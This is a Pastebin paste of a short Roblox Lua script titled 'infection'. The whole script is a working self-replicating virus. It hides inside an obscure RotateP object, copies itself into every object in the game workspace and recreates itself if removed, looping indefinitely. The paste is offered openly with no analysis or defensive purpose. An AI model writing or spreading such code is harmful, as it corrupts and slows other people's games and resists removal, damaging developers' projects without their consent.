CrazIIZen

infection

May 9th, 2016
163
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 0.58 KB | None | 0 0
  1. if script.Parent.className ~= "RotateP" then
  2.     local p = Instance.new("RotateP")
  3.     p.Parent = workspace
  4.     p.Name = "INfecTION"
  5.     script.Parent = p
  6. end
  7.  
  8. function check()
  9.     local list = workspace:GetChildren()
  10.     for i = 1, #list do
  11.         if list[i]:findFirstChild("INfecTION") == nil and list[i].className ~= "RotateP" then
  12.             script.Parent:Clone().Parent = list[i]
  13.         end
  14.         wait()
  15.     end
  16. end
  17.  
  18. while true do
  19.     check()
  20.     if workspace:findFirstChild("inFECtion") == nil then
  21.         local main = script.Parent:Clone()
  22.         main.Name = "inFECtion"
  23.         main.Parent = workspace
  24.     end
  25.     wait(3)
  26. end
Add Comment
Please, Sign In to add comment